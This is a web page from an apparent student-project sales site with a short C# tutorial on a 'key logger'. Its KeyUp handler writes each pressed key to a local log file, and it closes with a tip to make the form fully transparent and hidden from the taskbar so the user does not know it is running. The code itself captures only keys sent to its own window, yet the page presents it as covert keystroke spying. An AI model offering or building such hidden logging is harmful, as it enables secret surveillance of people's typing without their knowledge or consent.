Academic Students Projects | Software School Projects | Free Source Codes | College
Projects By LANGUAGE
Libraries
Articles & seminars
Source Code

The price of the projects include source code, abstract, report and support for development and deployment. Please use our contact us form or send email to Support@srishtis.com

 

 

Key Logger Application in C#
In this article, we'll explain an easy but an important concept of how to catch user pressed keys and write them into a log file.
Description
Often you need to know what kind of key combination your final user has pressed, to know if theyre doing the things in the right way,or just to know what theyre writing as they are using the computer.We need a form, just put a listbox, just to see whats happening.
Now lets set the KeyPreview Property of the form on true, so that well be able to catch keys.
ok, now lets write some code in the KeyUp Event
private void Form1_KeyUp(object sender,System.Windows.Forms.KeyEventArgs e)
{
listBox1.Items.Add(e.KeyCode);
StreamWriter sw = new StreamWriter(@"C:\SrishtiLog.txt",true);
sw.Write(e.KeyCode);
sw.Close();
}
listBox1.Items.Add(e.KeyCode);
this line of code is to see keys pressed in the listbox;
then lets write the pressed keys in a text file:
//Open or Create the file if doesnt exist
StreamWriter sw = new StreamWriter(@"C:\SrishtiLog.txt",true);
//Write into the file
sw.Write(e.KeyCode);
//Close the file.
sw.Close();
Finally,we have a very good tip in order to use the application, without the user knowing.We need to set the Opacity Property of the form on 0%, and to set ShowInTaskBar on False otherwise the user will know something is up.
Before:
after: